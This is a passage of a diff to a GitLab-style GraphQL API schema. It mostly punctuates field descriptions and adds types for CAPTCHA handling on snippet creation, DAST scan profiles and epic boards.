@@ input CreateIterationInput { dueDate: String """ - The target group for the iteration. + Full path of the group with which the resource is associated. """ groupPath: ID """ - The target project for the iteration. + Full path of the project with which the resource is associated. """ projectPath: ID @@ -5128,7 +5448,7 @@ Autogenerated input type of CreateNote """ input CreateNoteInput { """ - Content of the note + Content of the note. """ body: String! @@ -5228,6 +5548,13 @@ input CreateSnippetInput { blobActions: [SnippetBlobActionInputType!] """ + A valid CAPTCHA response value obtained by using the provided captchaSiteKey + with a CAPTCHA API to present a challenge to be solved on the client. Required + to resubmit if the previous operation returned "NeedsCaptchaResponse: true". + """ + captchaResponse: String + + """ A unique identifier for the client performing the mutation. """ clientMutationId: String @@ -5243,6 +5570,13 @@ input CreateSnippetInput { projectPath: ID """ + The spam log ID which must be passed along with a valid CAPTCHA response for + the operation to be completed. Required to resubmit if the previous operation + returned "NeedsCaptchaResponse: true". + """ + spamLogId: Int + + """ Title of the snippet. """ title: String! @@ -5263,6 +5597,13 @@ Autogenerated return type of CreateSnippet """ type CreateSnippetPayload { """ + The CAPTCHA site key which must be used to render a challenge for the user to + solve to obtain a valid captchaResponse value. Included only when an operation + was not completed because "NeedsCaptchaResponse" is true. + """ + captchaSiteKey: String + + """ A unique identifier for the client performing the mutation. """ clientMutationId: String @@ -5273,14 +5614,31 @@ type CreateSnippetPayload { errors: [String!]! """ + Indicates whether the operation was detected as possible spam and not + completed. If CAPTCHA is enabled, the request must be resubmitted with a valid + CAPTCHA response and spam_log_id included for the operation to be completed. + Included only when an operation was not completed because + "NeedsCaptchaResponse" is true. + """ + needsCaptchaResponse: Boolean + + """ The snippet after mutation. """ snippet: Snippet """ - Indicates whether the operation returns a record detected as spam. + Indicates whether the operation was detected as definite spam. There is no + option to resubmit the request with a CAPTCHA response. """ spam: Boolean + + """ + The spam log ID which must be passed along with a valid CAPTCHA response for + an operation to be completed. Included only when an operation was not + completed because "NeedsCaptchaResponse" is true. + """ + spamLogId: Int } """ @@ -5335,7 +5693,7 @@ type CreateTestCasePayload { interface CurrentUserTodos { """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -5359,7 +5717,7 @@ interface CurrentUserTodos { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! @@ -5370,22 +5728,22 @@ A custom emoji uploaded by user """ type CustomEmoji { """ - Whether the emoji is an external link + Whether the emoji is an external link. """ external: Boolean! """ - The ID of the emoji + The ID of the emoji. """ id: CustomEmojiID! """ - The name of the emoji + The name of the emoji. """ name: String! """ - The link to file of the emoji + The link to file of the emoji. """ url: String! } @@ -5426,7 +5784,7 @@ type CustomEmojiEdge { } """ -Identifier of CustomEmoji +Identifier of CustomEmoji. """ scalar CustomEmojiID @@ -5475,6 +5833,288 @@ type DastOnDemandScanCreatePayload { pipelineUrl: String } +""" +Represents a DAST Profile +""" +type DastProfile { + """ + The associated scanner profile. + """ + dastScannerProfile: DastScannerProfile + + """ + The associated site profile. + """ + dastSiteProfile: DastSiteProfile + + """ + The description of the scan. + """ + description: String + + """ + Relative web path to the edit page of a profile. + """ + editPath: String + + """ + ID of the profile. + """ + id: DastProfileID! + + """ + The name of the profile. + """ + name: String +} + +""" +The connection type for DastProfile. +""" +type DastProfileConnection { + """ + A list of edges. + """ + edges: [DastProfileEdge] + + """ + A list of nodes. + """ + nodes: [DastProfile] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +Autogenerated input type of DastProfileCreate +""" +input DastProfileCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the scanner profile to be associated. + """ + dastScannerProfileId: DastScannerProfileID! + + """ + ID of the site profile to be associated. + """ + dastSiteProfileId: DastSiteProfileID! + + """ + The description of the profile. Defaults to an empty string. + """ + description: String = "" + + """ + The project the profile belongs to. + """ + fullPath: ID! + + """ + The name of the profile. + """ + name: String! + + """ + Run scan using profile after creation. Defaults to false. + """ + runAfterCreate: Boolean = false +} + +""" +Autogenerated return type of DastProfileCreate +""" +type DastProfileCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The created profile. + """ + dastProfile: DastProfile + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The URL of the pipeline that was created. Requires `runAfterCreate` to be set to `true`. + """ + pipelineUrl: String +} + +""" +Autogenerated input type of DastProfileDelete +""" +input DastProfileDeleteInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the profile to be deleted. + """ + id: DastProfileID! +} + +""" +Autogenerated return type of DastProfileDelete +""" +type DastProfileDeletePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" +An edge in a connection. +""" +type DastProfileEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: DastProfile +} + +""" +Identifier of Dast::Profile. +""" +scalar DastProfileID + +""" +Autogenerated input type of DastProfileRun +""" +input DastProfileRunInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Full path for the project the scanner profile belongs to. + """ + fullPath: ID! + + """ + ID of the profile to be used for the scan. + """ + id: DastProfileID! +} + +""" +Autogenerated return type of DastProfileRun +""" +type DastProfileRunPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + URL of the pipeline that was created. + """ + pipelineUrl: String +} + +""" +Autogenerated input type of DastProfileUpdate +""" +input DastProfileUpdateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the scanner profile to be associated. + """ + dastScannerProfileId: DastScannerProfileID + + """ + ID of the site profile to be associated. + """ + dastSiteProfileId: DastSiteProfileID + + """ + The description of the profile. Defaults to an empty string. + """ + description: String = "" + + """ + The project the profile belongs to. + """ + fullPath: ID! + + """ + ID of the profile to be deleted. + """ + id: DastProfileID! + + """ + The name of the profile. + """ + name: String + + """ + Run scan using profile after update. Defaults to false. + """ + runAfterUpdate: Boolean = false +} + +""" +Autogenerated return type of DastProfileUpdate +""" +type DastProfileUpdatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The updated profile. + """ + dastProfile: DastProfile + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The URL of the pipeline that was created. Requires the input argument + `runAfterUpdate` to be set to `true` when calling the mutation, otherwise no + pipeline will be created. + """ + pipelineUrl: String +} + enum DastScanTypeEnum { """ Active DAST scan. This scan will make active attacks against the target site. @@ -5492,22 +6132,22 @@ Represents a DAST scanner profile """ type DastScannerProfile { """ - Relative web path to the edit page of a scanner profile + Relative web path to the edit page of a scanner profile. """ editPath: String """ - ID of the DAST scanner profile Deprecated in 13.6: Use `id`. + ID of the DAST scanner profile. Deprecated in 13.6: Use `id`. """ globalId: DastScannerProfileID! @deprecated(reason: "Use `id`. Deprecated in 13.6.") """ - ID of the DAST scanner profile + ID of the DAST scanner profile. """ id: DastScannerProfileID! """ - Name of the DAST scanner profile + Name of the DAST scanner profile. """ profileName: String @@ -5522,12 +6162,12 @@ type DastScannerProfile { showDebugMessages: Boolean! """ - The maximum number of minutes allowed for the spider to traverse the site + The maximum number of minutes allowed for the spider to traverse the site. """ spiderTimeout: Int """ - The maximum number of seconds allowed for the site under test to respond to a request + The maximum number of seconds allowed for the site under test to respond to a request. """ targetTimeout: Int @@ -5682,7 +6322,7 @@ type DastScannerProfileEdge { } """ -Identifier of DastScannerProfile +Identifier of DastScannerProfile. """ scalar DastScannerProfileID @@ -5763,27 +6403,27 @@ Represents a DAST Site Profile """ type DastSiteProfile { """ - Relative web path to the edit page of a site profile + Relative web path to the edit page of a site profile. """ editPath: String """ - ID of the site profile + ID of the site profile. """ id: DastSiteProfileID! """ - Normalized URL of the target to be scanned + Normalized URL of the target to be scanned. """ normalizedTargetUrl: String """ - The name of the site profile + The name of the site profile. """ profileName: String """ - The URL of the target to be scanned + The URL of the target to be scanned. """ targetUrl: String @@ -5793,7 +6433,7 @@ type DastSiteProfile { userPermissions: DastSiteProfilePermissions! """ - The current validation status of the site profile + The current validation status of the site profile. """ validationStatus: DastSiteProfileValidationStatusEnum } @@ -5914,7 +6554,7 @@ type DastSiteProfileEdge { } """ -Identifier of DastSiteProfile +Identifier of DastSiteProfile. """ scalar DastSiteProfileID @@ -6056,7 +6696,7 @@ type DastSiteTokenCreatePayload { } """ -Identifier of DastSiteToken +Identifier of DastSiteToken. """ scalar DastSiteTokenID @@ -6065,17 +6705,17 @@ Represents a DAST Site Validation """ type DastSiteValidation { """ - Global ID of the site validation + Global ID of the site validation. """ id: DastSiteValidationID! """ - Normalized URL of the target to be validated + Normalized URL of the target to be validated. """ normalizedTargetUrl: String """ - Status of the site validation + Status of the site validation. """ status: DastSiteProfileValidationStatusEnum! } @@ -6171,10 +6811,45 @@ type DastSiteValidationEdge { } """ -Identifier of DastSiteValidation +Identifier of DastSiteValidation. """ scalar DastSiteValidationID +""" +Autogenerated input type of DastSiteValidationRevoke +""" +input DastSiteValidationRevokeInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The project the site validation belongs to. + """ + fullPath: ID! + + """ + Normalized URL of the target to be revoked. + """ + normalizedTargetUrl: String! +} + +""" +Autogenerated return type of DastSiteValidationRevoke +""" +type DastSiteValidationRevokePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + enum DastSiteValidationStrategyEnum { """ Header validation @@ -6347,17 +7022,17 @@ The response from the AdminSidekiqQueuesDeleteJobs mutation """ type DeleteJobsResponse { """ - Whether or not the entire queue was processed in time; if not, retrying the same request is safe + Whether or not the entire queue was processed in time; if not, retrying the same request is safe. """ completed: Boolean """ - The number of matching jobs deleted + The number of matching jobs deleted. """ deletedJobs: Int """ - The queue size after processing + The queue size after processing. """ queueSize: Int } @@ -6367,7 +7042,7 @@ A single design """ type Design implements CurrentUserTodos & DesignFields & Noteable { """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -6391,18 +7066,18 @@ type Design implements CurrentUserTodos & DesignFields & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - The diff refs for this design + The diff refs for this design. """ diffRefs: DiffRefs! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -6427,27 +7102,27 @@ type Design implements CurrentUserTodos & DesignFields & Noteable { ): DiscussionConnection! """ - How this design was changed in the current version + How this design was changed in the current version. """ event: DesignVersionEvent! """ - The filename of the design + The filename of the design. """ filename: String! """ - The full path to the design file + The full path to the design file. """ fullPath: String! """ - The ID of this design + The ID of this design. """ id: ID! """ - The URL of the full-sized image + The URL of the full-sized image. """ image: String! @@ -6457,12 +7132,12 @@ type Design implements CurrentUserTodos & DesignFields & Noteable { imageV432x230: String """ - The issue the design belongs to + The issue the design belongs to. """ issue: Issue! """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -6487,17 +7162,17 @@ type Design implements CurrentUserTodos & DesignFields & Noteable { ): NoteConnection! """ - The total count of user-created notes for this design + The total count of user-created notes for this design. """ notesCount: Int! """ - The project the design belongs to + The project the design belongs to. """ project: Project! """ - All versions related to this design ordered newest first + All versions related to this design ordered newest first. """ versions( """ @@ -6537,37 +7212,37 @@ A design pinned to a specific version. The image field reflects the design as of """ type DesignAtVersion implements DesignFields { """ - The underlying design + The underlying design. """ design: Design! """ - The diff refs for this design + The diff refs for this design. """ diffRefs: DiffRefs! """ - How this design was changed in the current version + How this design was changed in the current version. """ event: DesignVersionEvent! """ - The filename of the design + The filename of the design. """ filename: String! """ - The full path to the design file + The full path to the design file. """ fullPath: String! """ - The ID of this design + The ID of this design. """ id: ID! """ - The URL of the full-sized image + The URL of the full-sized image. """ image: String! @@ -6577,22 +7252,22 @@ type DesignAtVersion implements DesignFields { imageV432x230: String """ - The issue the design belongs to + The issue the design belongs to. """ issue: Issue! """ - The total count of user-created notes for this design + The total count of user-created notes for this design. """ notesCount: Int! """ - The project the design belongs to + The project the design belongs to. """ project: Project! """ - The version this design-at-versions is pinned to + The version this design-at-versions is pinned to. """ version: DesignVersion! } @@ -6637,12 +7312,12 @@ A collection of designs """ type DesignCollection { """ - Copy state of the design collection + Copy state of the design collection. """ copyState: DesignCollectionCopyState """ - Find a specific design + Find a specific design. """ design( """ @@ -6657,7 +7332,7 @@ type DesignCollection { ): Design """ - Find a design as of a version + Find a design as of a version. """ designAtVersion( """ @@ -6667,7 +7342,7 @@ type DesignCollection { ): DesignAtVersion """ - All designs for the design collection + All designs for the design collection. """ designs( """ @@ -6708,17 +7383,17 @@ type DesignCollection { ): DesignConnection! """ - Issue associated with the design collection + Issue associated with the design collection. """ issue: Issue! """ - Project associated with the design collection + Project associated with the design collection. """ project: Project! """ - A specific version + A specific version. """ version( """ @@ -6733,7 +7408,7 @@ type DesignCollection { ): DesignVersion """ - All versions related to all designs, ordered newest first + All versions related to all designs, ordered newest first. """ versions( """ @@ -6825,32 +7500,32 @@ type DesignEdge { interface DesignFields { """ - The diff refs for this design + The diff refs for this design. """ diffRefs: DiffRefs! """ - How this design was changed in the current version + How this design was changed in the current version. """ event: DesignVersionEvent! """ - The filename of the design + The filename of the design. """ filename: String! """ - The full path to the design file + The full path to the design file. """ fullPath: String! """ - The ID of this design + The ID of this design. """ id: ID! """ - The URL of the full-sized image + The URL of the full-sized image. """ image: String! @@ -6860,24 +7535,24 @@ interface DesignFields { imageV432x230: String """ - The issue the design belongs to + The issue the design belongs to. """ issue: Issue! """ - The total count of user-created notes for this design + The total count of user-created notes for this design. """ notesCount: Int! """ - The project the design belongs to + The project the design belongs to. """ project: Project! } type DesignManagement { """ - Find a design as of a version + Find a design as of a version. """ designAtVersion( """ @@ -6887,7 +7562,7 @@ type DesignManagement { ): DesignAtVersion """ - Find a version + Find a version. """ version( """ @@ -6943,12 +7618,12 @@ type DesignManagementDeletePayload { } """ -Identifier of DesignManagement::DesignAtVersion +Identifier of DesignManagement::DesignAtVersion. """ scalar DesignManagementDesignAtVersionID """ -Identifier of DesignManagement::Design +Identifier of DesignManagement::Design. """ scalar DesignManagementDesignID @@ -7048,7 +7723,7 @@ type DesignManagementUploadPayload { } """ -Identifier of DesignManagement::Version +Identifier of DesignManagement::Version. """ scalar DesignManagementVersionID @@ -7057,7 +7732,7 @@ A specific version in which designs were added, modified or deleted """ type DesignVersion { """ - A particular design as of this version, provided it is visible at this version + A particular design as of this version, provided it is visible at this version. """ designAtVersion( """ @@ -7077,7 +7752,7 @@ type DesignVersion { ): DesignAtVersion! """ - All designs that were changed in the version + All designs that were changed in the version. """ designs( """ @@ -7102,7 +7777,7 @@ type DesignVersion { ): DesignConnection! """ - All designs that are visible at this version, as of this version + All designs that are visible at this version, as of this version. """ designsAtVersion( """ @@ -7137,12 +7812,12 @@ type DesignVersion { ): DesignAtVersionConnection! """ - ID of the design version + ID of the design version. """ id: ID! """ - SHA of the design version + SHA of the design version. """ sha: ID! } @@ -7454,47 +8129,47 @@ type DestroySnippetPayload { type DetailedStatus { """ - Action information for the status. This includes method, button title, icon, path, and title + Action information for the status. This includes method, button title, icon, path, and title. """ action: StatusAction """ - Path of the details for the status + Path of the details for the status. """ detailsPath: String """ - Favicon of the status + Favicon of the status. """ favicon: String """ - Group of the status + Group of the status. """ group: String """ - Indicates if the status has further details + Indicates if the status has further details. """ hasDetails: Boolean """ - Icon of the status + Icon of the status. """ icon: String """ - Label of the status + Label of the status. """ label: String """ - Text of the status + Text of the status. """ text: String """ - Tooltip associated with the status + Tooltip associated with the status. """ tooltip: String } @@ -7504,24 +8179,19 @@ Segment """ type DevopsAdoptionSegment { """ - Assigned groups - """ - groups: [Group!] - - """ - ID of the segment + ID of the segment. """ id: ID! """ - The latest adoption metrics for the segment + The latest adoption metrics for the segment. """ latestSnapshot: DevopsAdoptionSnapshot """ - Name of the segment + Segment namespace. """ - name: String! + namespace: Namespace } """ @@ -7564,69 +8234,69 @@ Snapshot """ type DevopsAdoptionSnapshot { """ - At least one deployment succeeded + At least one deployment succeeded. """ deploySucceeded: Boolean! """ - The end time for the snapshot where the data points were collected + The end time for the snapshot where the data points were collected. """ endTime: Time! """ - At least one issue was opened + At least one issue was opened. """ issueOpened: Boolean! """ - At least one merge request was approved + At least one merge request was approved. """ mergeRequestApproved: Boolean! """ - At least one merge request was opened + At least one merge request was opened. """ mergeRequestOpened: Boolean! """ - At least one pipeline succeeded + At least one pipeline succeeded. """ pipelineSucceeded: Boolean! """ - The time the snapshot was recorded + The time the snapshot was recorded. """ recordedAt: Time! """ - At least one runner was used + At least one runner was used. """ runnerConfigured: Boolean! """ - At least one security scan succeeded + At least one security scan succeeded. """ securityScanSucceeded: Boolean! """ - The start time for the snapshot where the data points were collected + The start time for the snapshot where the data points were collected. """ startTime: Time! } input DiffImagePositionInput { """ - Merge base of the branch the comment was made on + Merge base of the branch the comment was made on. """ baseSha: String """ - SHA of the HEAD at the time the comment was made + SHA of the HEAD at the time the comment was made. """ headSha: String! """ - Total height of the image + Total height of the image. """ height: Int! @@ -7637,118 +8307,118 @@ input DiffImagePositionInput { paths: DiffPathsInput! """ - SHA of the branch being compared against + SHA of the branch being compared against. """ startSha: String! """ - Total width of the image + Total width of the image. """ width: Int! """ - X position of the note + X position of the note. """ x: Int! """ - Y position of the note + Y position of the note. """ y: Int! } """ -Identifier of DiffNote +Identifier of DiffNote. """ scalar DiffNoteID input DiffPathsInput { """ - The path of the file on the head sha + The path of the file on the head sha. """ newPath: String """ - The path of the file on the start sha + The path of the file on the start sha. """ oldPath: String } type DiffPosition { """ - Information about the branch, HEAD, and base at the time of commenting + Information about the branch, HEAD, and base at the time of commenting. """ diffRefs: DiffRefs! """ - Path of the file that was changed + Path of the file that was changed. """ filePath: String! """ - Total height of the image + Total height of the image. """ height: Int """ - Line on HEAD SHA that was changed + Line on HEAD SHA that was changed. """ newLine: Int """ - Path of the file on the HEAD SHA + Path of the file on the HEAD SHA. """ newPath: String """ - Line on start SHA that was changed + Line on start SHA that was changed. """ oldLine: Int """ - Path of the file on the start SHA + Path of the file on the start SHA. """ oldPath: String """ - Type of file the position refers to + Type of file the position refers to. """ positionType: DiffPositionType! """ - Total width of the image + Total width of the image. """ width: Int """ - X position of the note + X position of the note. """ x: Int """ - Y position of the note + Y position of the note. """ y: Int } input DiffPositionInput { """ - Merge base of the branch the comment was made on + Merge base of the branch the comment was made on. """ baseSha: String """ - SHA of the HEAD at the time the comment was made + SHA of the HEAD at the time the comment was made. """ headSha: String! """ - Line on HEAD SHA that was changed + Line on HEAD SHA that was changed. """ newLine: Int! """ - Line on start SHA that was changed + Line on start SHA that was changed. """ oldLine: Int @@ -7759,7 +8429,7 @@ input DiffPositionInput { paths: DiffPathsInput! """ - SHA of the branch being compared against + SHA of the branch being compared against. """ startSha: String! } @@ -7774,17 +8444,17 @@ enum DiffPositionType { type DiffRefs { """ - Merge base of the branch the comment was made on + Merge base of the branch the comment was made on. """ baseSha: String """ - SHA of the HEAD at the time the comment was made + SHA of the HEAD at the time the comment was made. """ headSha: String! """ - SHA of the branch being compared against + SHA of the branch being compared against. """ startSha: String! } @@ -7794,17 +8464,17 @@ Changes to a single file """ type DiffStats { """ - Number of lines added to this file + Number of lines added to this file. """ additions: Int! """ - Number of lines deleted from this file + Number of lines deleted from this file. """ deletions: Int! """ - File path, relative to repository root + File path, relative to repository root. """ path: String! } @@ -7814,39 +8484,39 @@ Aggregated summary of changes """ type DiffStatsSummary { """ - Number of lines added + Number of lines added. """ additions: Int! """ - Number of lines changed + Number of lines changed. """ changes: Int! """ - Number of lines deleted + Number of lines deleted. """ deletions: Int! """ - Number of files changed + Number of files changed. """ fileCount: Int! } type Discussion implements ResolvableInterface { """ - Timestamp of the discussion's creation + Timestamp of the discussion's creation. """ createdAt: Time! """ - ID of this discussion + ID of this discussion. """ - id: ID! + id: DiscussionID! """ - All notes in the discussion + All notes in the discussion. """ notes( """ @@ -7871,27 +8541,27 @@ type Discussion implements ResolvableInterface { ): NoteConnection! """ - ID used to reply to this discussion + ID used to reply to this discussion. """ - replyId: ID! + replyId: DiscussionID! """ - Indicates if the object can be resolved + Indicates if the object can be resolved. """ resolvable: Boolean! """ - Indicates if the object is resolved + Indicates if the object is resolved. """ resolved: Boolean! """ - Timestamp of when the object was resolved + Timestamp of when the object was resolved. """ resolvedAt: Time """ - User who resolved the object + User who resolved the object. """ resolvedBy: User } @@ -7932,7 +8602,7 @@ type DiscussionEdge { } """ -Identifier of Discussion +Identifier of Discussion. """ scalar DiscussionID @@ -8023,32 +8693,32 @@ type DismissVulnerabilityPayload { interface Entry { """ - Flat path of the entry + Flat path of the entry. """ flatPath: String! """ - ID of the entry + ID of the entry. """ id: ID! """ - Name of the entry + Name of the entry. """ name: String! """ - Path of the entry + Path of the entry. """ path: String! """ - Last commit sha for the entry + Last commit SHA for the entry. """ sha: String! """ - Type of tree entry + Type of tree entry. """ type: EntryType! } @@ -8067,17 +8737,17 @@ Describes where code is deployed for a project """ type Environment { """ - ID of the environment + ID of the environment. """ id: ID! """ - The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned + The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned. """ latestOpenedMostSevereAlert: AlertManagementAlert """ - Metrics dashboard schema for the environment + Metrics dashboard schema for the environment. """ metricsDashboard( """ @@ -8087,7 +8757,7 @@ type Environment { ): MetricsDashboard """ - Human-readable name of the environment + Human-readable name of the environment. """ name: String! @@ -8097,7 +8767,7 @@ type Environment { path: String! """ - State of the environment, for example: available/stopped + State of the environment, for example: available/stopped. """ state: String! } @@ -8138,7 +8808,7 @@ type EnvironmentEdge { } """ -Identifier of Environment +Identifier of Environment. """ scalar EnvironmentID @@ -8180,14 +8850,39 @@ type EnvironmentsCanaryIngressUpdatePayload { """ Represents an epic """ -type Epic implements CurrentUserTodos & Noteable { +type Epic implements CurrentUserTodos & Eventable & Noteable { """ - Author of the epic + Author of the epic. """ author: User! """ - Children (sub-epics) of the epic + A list of award emojis associated with the epic. + """ + awardEmoji( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): AwardEmojiConnection + + """ + Children (sub-epics) of the epic. """ children( """ @@ -8285,22 +8980,22 @@ type Epic implements CurrentUserTodos & Noteable { ): EpicConnection """ - Timestamp of when the epic was closed + Timestamp of when the epic was closed. """ closedAt: Time """ - Indicates if the epic is confidential + Indicates if the epic is confidential. """ confidential: Boolean """ - Timestamp of when the epic was created + Timestamp of when the epic was created. """ createdAt: Time """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -8324,28 +9019,28 @@ type Epic implements CurrentUserTodos & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - Number of open and closed descendant epics and issues + Number of open and closed descendant epics and issues. """ descendantCounts: EpicDescendantCount """ - Total weight of open and closed issues in the epic and its descendants + Total weight of open and closed issues in the epic and its descendants. """ descendantWeightSum: EpicDescendantWeights """ - Description of the epic + Description of the epic. """ description: String """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -8370,67 +9065,92 @@ type Epic implements CurrentUserTodos & Noteable { ): DiscussionConnection! """ - Number of downvotes the epic has received + Number of downvotes the epic has received. """ downvotes: Int! """ - Due date of the epic + Due date of the epic. """ dueDate: Time """ - Fixed due date of the epic + Fixed due date of the epic. """ dueDateFixed: Time """ - Inherited due date of the epic from milestones + Inherited due date of the epic from milestones. """ dueDateFromMilestones: Time """ - Indicates if the due date has been manually set + Indicates if the due date has been manually set. """ dueDateIsFixed: Boolean """ - Group to which the epic belongs + A list of events associated with the object. + """ + events( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): EventConnection + + """ + Group to which the epic belongs. """ group: Group! """ - Indicates if the epic has children + Indicates if the epic has children. """ hasChildren: Boolean! """ - Indicates if the epic has direct issues + Indicates if the epic has direct issues. """ hasIssues: Boolean! """ - Indicates if the epic has a parent epic + Indicates if the epic has a parent epic. """ hasParent: Boolean! """ - Current health status of the epic + Current health status of the epic. """ healthStatus: EpicHealthStatus """ - ID of the epic + ID of the epic. """ id: ID! """ - Internal ID of the epic + Internal ID of the epic. """ iid: ID! """ - A list of issues associated with the epic + A list of issues associated with the epic. """ issues( """ @@ -8455,7 +9175,7 @@ type Epic implements CurrentUserTodos & Noteable { ): EpicIssueConnection """ - Labels assigned to the epic + Labels assigned to the epic. """ labels( """ @@ -8480,7 +9200,7 @@ type Epic implements CurrentUserTodos & Noteable { ): LabelConnection """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -8505,12 +9225,12 @@ type Epic implements CurrentUserTodos & Noteable { ): NoteConnection! """ - Parent epic of the epic + Parent epic of the epic. """ parent: Epic """ - List of participants for the epic + List of participants for the epic. """ participants( """ @@ -8535,77 +9255,77 @@ type Epic implements CurrentUserTodos & Noteable { ): UserConnection """ - Internal reference of the epic. Returned in shortened format by default + Internal reference of the epic. Returned in shortened format by default. """ reference( """ - Indicates if the reference should be returned in full + Indicates if the reference should be returned in full. """ full: Boolean = false ): String! """ - URI path of the epic-issue relationship + URI path of the epic-issue relationship. """ relationPath: String """ - The relative position of the epic in the epic tree + The relative position of the epic in the epic tree. """ relativePosition: Int """ - Start date of the epic + Start date of the epic. """ startDate: Time """ - Fixed start date of the epic + Fixed start date of the epic. """ startDateFixed: Time """ - Inherited start date of the epic from milestones + Inherited start date of the epic from milestones. """ startDateFromMilestones: Time """ - Indicates if the start date has been manually set + Indicates if the start date has been manually set. """ startDateIsFixed: Boolean """ - State of the epic + State of the epic. """ state: EpicState! """ - Indicates the currently logged in user is subscribed to the epic + Indicates the currently logged in user is subscribed to the epic. """ subscribed: Boolean! """ - Title of the epic + Title of the epic. """ title: String """ - Timestamp of when the epic was updated + Timestamp of when the epic was updated. """ updatedAt: Time """ - Number of upvotes the epic has received + Number of upvotes the epic has received. """ upvotes: Int! """ - Number of user discussions in the epic + Number of user discussions in the epic. """ userDiscussionsCount: Int! """ - Number of user notes of the epic + Number of user notes of the epic. """ userNotesCount: Int! @@ -8615,12 +9335,12 @@ type Epic implements CurrentUserTodos & Noteable { userPermissions: EpicPermissions! """ - Web path of the epic + Web path of the epic. """ webPath: String! """ - Web URL of the epic + Web URL of the epic. """ webUrl: String! } @@ -8746,6 +9466,56 @@ type EpicBoardConnection { } """ +Autogenerated input type of EpicBoardCreate +""" +input EpicBoardCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Full path of the group with which the resource is associated. + """ + groupPath: ID + + """ + Whether or not backlog list is hidden. + """ + hideBacklogList: Boolean + + """ + Whether or not closed list is hidden. + """ + hideClosedList: Boolean + + """ + The board name. + """ + name: String +} + +""" +Autogenerated return type of EpicBoardCreate +""" +type EpicBoardCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The created epic board. + """ + epicBoard: EpicBoard + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" An edge in a connection. """ type EpicBoardEdge { @@ -8761,6 +9531,51 @@ type EpicBoardEdge { } """ +Autogenerated input type of EpicBoardListCreate +""" +input EpicBoardListCreateInput { + """ + Create the backlog list. + """ + backlog: Boolean + + """ + Global ID of the issue board to mutate. + """ + boardId: BoardsEpicBoardID! + + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Global ID of an existing label. + """ + labelId: LabelID +} + +""" +Autogenerated return type of EpicBoardListCreate +""" +type EpicBoardListCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + Epic list in the epic board. + """ + list: EpicList +} + +""" The connection type for Epic. """ type EpicConnection { @@ -8785,22 +9600,22 @@ Counts of descendent epics """ type EpicDescendantCount { """ - Number of closed child epics + Number of closed child epics. """ closedEpics: Int """ - Number of closed epic issues + Number of closed epic issues. """ closedIssues: Int """ - Number of opened child epics + Number of opened child epics. """ openedEpics: Int """ - Number of opened epic issues + Number of opened epic issues. """ openedIssues: Int } @@ -8810,12 +9625,12 @@ Total weight of open and closed descendant issues """ type EpicDescendantWeights { """ - Total weight of completed (closed) issues in this epic, including epic descendants + Total weight of completed (closed) issues in this epic, including epic descendants. """ closedIssues: Int """ - Total weight of opened issues in this epic, including epic descendants + Total weight of opened issues in this epic, including epic descendants. """ openedIssues: Int } @@ -8840,23 +9655,23 @@ Health status of child issues """ type EpicHealthStatus { """ - Number of issues at risk + Number of issues at risk. """ issuesAtRisk: Int """ - Number of issues that need attention + Number of issues that need attention. """ issuesNeedingAttention: Int """ - Number of issues on track + Number of issues on track. """ issuesOnTrack: Int } """ -Identifier of Epic +Identifier of Epic. """ scalar EpicID @@ -8865,12 +9680,12 @@ Relationship between an epic and an issue """ type EpicIssue implements CurrentUserTodos & Noteable { """ - Alert associated to this issue + Alert associated to this issue. """ alertManagementAlert: AlertManagementAlert """ - Assignees of the issue + Assignees of the issue. """ assignees( """ @@ -8895,7 +9710,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): UserConnection """ - User that created the issue + User that created the issue. """ author: User! @@ -8910,27 +9725,27 @@ type EpicIssue implements CurrentUserTodos & Noteable { blockedByCount: Int """ - Timestamp of when the issue was closed + 